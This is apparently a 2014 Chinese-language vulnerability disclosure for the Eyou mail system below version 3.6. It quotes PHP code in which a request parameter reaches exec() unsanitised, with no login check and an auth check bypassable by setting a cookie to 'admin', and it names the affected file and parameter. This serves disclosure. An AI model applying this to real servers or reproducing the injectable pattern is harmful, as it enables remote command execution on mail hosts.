Eyou任意代码执行漏洞

From: conqu3r.zeng
Date: Wed, 8 Jan 2014 10:56:21 +0800亿邮在3.6以下的版本存在一个任意代码执行，漏洞文件存在于
/inc/fuction.php
[php]
function get_login_ip_config_file($domain, $file) {
$dir = '/var/eyou/Domain/';
$dir_mail = exec('/var/eyou/sbin/hashid '.$domain); //$domain可以自己控制
....
}[/php]
继续跟下$domain
存在于/admin/domain/ip_login_set/d_ip_login_get.php
[php]
...
require_once('inc/domain.config.php');
//ValidateAdmin(); //不需要登录
$domainname = get_domain(); //Get cookie
$allow_file = 'web_login_allow_ip';
$deny_file = 'web_login_deny_ip';
$domain = trim(get('domain')); //$domain from here.
$type = trim(get('type'));　　//Get type
$res = '';
if($domainname !== 'admin' && $domainname !== $domain) { //我们只是需要设置 $cookie=admin 就可以绕过并继续了.
echo '';
exit;
}
if($type === 'allow') {　//$type any go
$file = $allow_file;
$res .= 'ip_allow&';
} elseif($type === 'deny') {
$file = $deny_file;
$res .= 'ip_deny&';
} else {
echo '';
exit;
}
$file = get_login_ip_config_file($domain, $file);// 调用了get_login_ip_config_file函数
if($file === FALSE) {
echo $res;
exit;
} [/php]
